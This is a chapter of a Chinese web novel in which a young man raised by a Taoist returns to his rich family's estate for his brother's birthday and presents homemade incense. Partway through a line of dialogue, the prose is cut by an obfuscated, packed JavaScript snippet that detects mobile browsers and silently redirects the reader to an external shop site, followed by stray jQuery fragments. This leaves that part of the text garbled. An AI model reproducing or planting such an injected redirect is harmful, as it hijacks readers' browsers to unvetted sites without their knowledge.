文趣网 > 其他小说 > 非命定桃花 > 18. 第 18 章
    景停分背了一个包,在里面放了几件换洗的衣服后才把穷天棺放在最上面,也不拉口,就倒背在身前方便他时不时的低头查看。

    每次临近出门的时候都觉得东西没带够,来来回回折腾了好几趟,从身上一个包到手里拎两个,身后背一个,甚至一出门还往保镖手里面塞了一个。

    保镖托着身前的包,目光看向朱朝旳,见他点头后才把包拎在手里向后退了一步,让另一个保镖站在最佳的反应位。

    朱朝旳看着他“臃肿”的身形,嘴角的笑变大了几分,“小弟张大了,终于舍得陪哥哥了,这次住一个月怎么样。”

    住一天他都嫌多。

    景停分在想这一次他用什么借口,想了想说:“下周要监考,给你过完生日就得走。”

    朱朝旳笑着看不出情绪,倒是一旁抵着头的助理嘴角微微抽搐了一下,资料里写他跟着道士住在山里,哪来的监考,找借口都不走心。

    他隐晦的朝上司摆摆手,怀里突然多了个雷霆大包差点没站稳。

    “我看你手挺空,分你一个,别太嫉妒。”景停分看向朱朝旳说:“大哥,行吗。”

    “走吧,车子一直在下面等着。”朱朝旳转身下楼,散落在腰间的发梢竟然是他身上最不规矩的存在,一步一摇的模样看着景停分眼花,但效果着实惊艳。

    抬手穿过自己的短发,觉得他留长头发的样子也不磕掺。

    想当初老头儿还劝过他蓄发,说以后出门他们两个肯定会惊艳所有人,当时他说影响习武给拒绝了。如果不拒绝现在已经留到膝弯了,反正比朱朝旳强。

    楼下一共停了三辆车,景停分走到第二辆了,不等司机反应,自己开开车门就钻了进去,一个包圈在怀里,一个放在两脚中间,笑着看向保镖跟司机的模样带着一股纯真感。

    “今天在外面等了挺长时间,你们累不累。”景停分撑着下巴开启新的话题,看见两个人摇头,鼻子一皱,他说:“这还是大哥第一次来接我,他会不会生气。”

    “先生宅心仁厚从不会因为小事生气。”助理说话景停分也不喜欢,跟套着包装的人偶一样,假里假气的。

    “那他还是真个好人。”景停分说话带气,包括司机在场的三个人没人接他这句话。车厢里陷入沉默,只有车轮碾过路面的轻响。

    景停分也不无聊,拿着手机在粉丝群潜水,中间跟助理要了个充电宝。

    又过了十几分钟,路上只剩下他们这三辆车子,路过一个亭子后,助理开口说:“二少爷,请您切换到内网。中间会有一秒钟的卡顿,属于正常现象。”

    “知道了,麻烦。”景停分懒洋洋的,看着手机跳转出一个新的界面后才扫码,听见滴的一声,他问:“我晚上要直播怎么办。”

    “所有房间都可以上网,请您不用担心。”

    景停分指尖扣着桌子,满脑子都是对有钱人的羡慕。一个专属的内网有多贵不用他说,一个可以加密保持独立安全性还能接入互联网的内网就是在烧钱。

    车子进入辅路后,三米一减速,路程无形中又拉长了许多。

    直到看见一扇足有五米高的朱红大门矗立在那里,他们终于快到了。

    进了第一道门,车子又往前开了十分钟才到第二道门,这里的守卫比门口更严,不仅核对了车牌,还凑近车窗看了景停分的脸,确认无误才抬起抬杆放行。

    身侧的保镖和助理在这里下了车,恭敬地站在路边,连头都没抬,显然这第二道门就是外宅和内宅的分界。

    景停分靠着椅背,笑着问:“还要多久。”

    司机恭敬地回答:“回二少爷,还要十五分钟。”

    整个庄园的建筑面积大得惊人,车子穿过竹林,又路过架在人工湖上的汉白玉石桥。路边时不时能看到穿着统一制服的佣人,每个人都低着头快步走,碰到经过的车子都远远站定行礼,无形中就透出了这个家刻在骨子里的等级制度——什么身份站什么位置,半分错都不能有。

    景停分靠在座椅上百无聊赖,手指敲着膝盖数路边的石雕,还没数到第十个,车子忽然缓缓停了下来。

    “二少爷到了。”

    闻言,景停分急匆匆打开车门,跟旁边的佣人撞了个满怀。

    还不等景停分开口,一道尖酸又带着阴阳怪气的声音就从旁边廊下飘了过来:“我当是谁呢,野孩子张大就是没见识,连累着佣人也坐错了事情。”

    说话的是景玉,景停分现在的母亲。

    此刻她穿着一身绣着珍珠的缎面旗袍,手里捻着一串翡翠佛珠,斜着眼睛看他,那眼神就像是看什么登不上台面的脏东西。

    景停分闻言也不恼,反而扯了扯嘴角露出一个温和的笑,抬了抬下巴不紧不慢地回击:“要不是大哥亲自接我,我还看不见两分钟让我赚了7百万的母亲呢,怎么半日不见您跟破产了一样。”

    一句话噎得景玉脸色瞬间变青,这话堵得她半天说不出一句话。看见朱朝旳下车只能咬着牙哼了一声,转身进了屋。

    “母亲今日肝火太旺,让人备些金银花茶送去。”朱朝旳说的不紧不慢,身边的人马上行动了起来。

    朱朝旳抬手制止了佣人的动作,亲自替景停分带路,还说了一些趣事,让人难以升起戒备心,包括景停分在内。

    走进正厅,雕花大梁挂着琉璃灯,砖缝里都透着贵气。景停分找了个最靠边的椅子坐下,刚把包放在腿上,就有人端了盖碗茶上来,青瓷碗配着蜜色茶船,捧着都烫手。

    他掀开盖子吹了吹,抿了一口就放下了,这么淡的茶也就有钱人喝得下去,还不如老头儿那两块钱一大包的花茶够味。

    朱朝旳跟家里的管家关鹏交代了几句生日宴的流程,转头就看见景停分盯着廊下的盆景发呆,指尖还在包上一下一下敲着,不知道在数什么。

    他走过去挨着旁边的椅子坐下,开口语气带着几分亲近:“这次过来,就当在家多住几天,之前你住的院子我一直让人收拾着,什么都不缺。”

    景停分转过头笑了笑,让关鹏把另一个黑包拿过来,“里面是我自己做的一点小玩意儿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780783|209910||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,权当大哥的生日礼物了,来年再送其他的。”

    关鹏没有把包直接拎过来先看向朱朝旳,得到颔首示意才上前接包,指尖刚碰到包带就觉出里面轻飘飘的。他神态不变地拎着放到边几上,依旧垂手站在一旁不发一言。

    朱朝旳靠在椅背上,指尖轻轻摩挲着扶手,笑着开口:“你有心了,我还当你这次空着手来,要跟我打马虎眼。”

    “哪能啊,再怎么着也不能空着手来给大哥庆生。就是做的东西不怎么入眼,大哥别嫌弃就好。”里面确实不是贵重玩意儿,几根有驱鬼作用的香,娘娘不吃拿来送礼刚好。

    话说现在用血制香不稳定程度有点高,得改良一下步骤,不然敬香做成驱鬼香,他可就造孽了。

    朱朝旳看出他不想多说,顺势转了话题,抬手叫过关鹏,吩咐道:“你先带二少爷去西跨院,把东西都安置好,院里缺什么直接跟我说。”

    穿过两道抄手游廊,拐过一个种满了海棠的小花圃,就看见一扇挂着竹帘的月洞门,关鹏伸手撩开竹帘,做了个请的手势:“二少爷,这就是您的院子,一直按着您以前的喜好收拾着,您看看有什么不合心意的地方,随时吩咐我们改。”

    景停分迈步进去,摆摆手,“能上网就成。”

    前脚景停分刚走,后脚朱朝旳身边就多了一个人,一袭黑衣,沉默寡言,像空气一样。

    他拎起桌上的包,想要处理掉。

    “打开看看吧,毕竟是小孩准备的礼物。”朱朝旳亲自动手拉开拉链,里面简简单单的装了三个透明的塑料盒,里面装着十几根香。

    他招招手,那黑衣人上前取了一根香出来,放在鼻尖闻了闻,眉头微微皱起:“先生,这香闻着普通,但能镇阴邪,用料实在不像是市面上卖的批量货。”

    朱朝旳指尖捻着一片香灰,放在鼻下轻嗅,嘴角的笑意淡了几分,“哦,他还会做这个?”

    黑衣人点头:“用料是正经的道家用料,没有掺唬人的噱头,手法虽然还生涩,但是路子正,应当是得过真传。”

    朱朝旳靠在椅背上,看着窗外廊下被风晃得沙沙响的花枝,半晌才开口:“他以前跟着那老道士在山里待了十几年,学这点东西不奇怪。去查一下,这半年他在外面,有没有人找过他的麻烦。还有他说下周要监考,你去看看是哪所学校。”

    黑衣人应了一声,刚要退出去,门外忽然传来轻轻的叩门声,关鹏的声音从外面传进来:“先生,二少爷让人传话,他院子里少了个供香的香炉。”

    朱朝旳挑了挑眉,没忍住笑出了声,“跟着道士混几年还真以为出家了。改天找个正经道士带带他。”

    另一边,景停分捧着送来青铜香炉给徐泽天拍了张照片,看见他发来的一长串感叹号就知道着炉子价值不菲,美滋滋地把香灰移进去放在床头。

    看着被软帘覆盖的床,他躺在榻上看着香炉里袅袅的白烟,嘴角抑制不住的上扬。

    看吧,现在没把他赶出去,明天就能给度化了。相处时间很美好,未来的自由更可贵。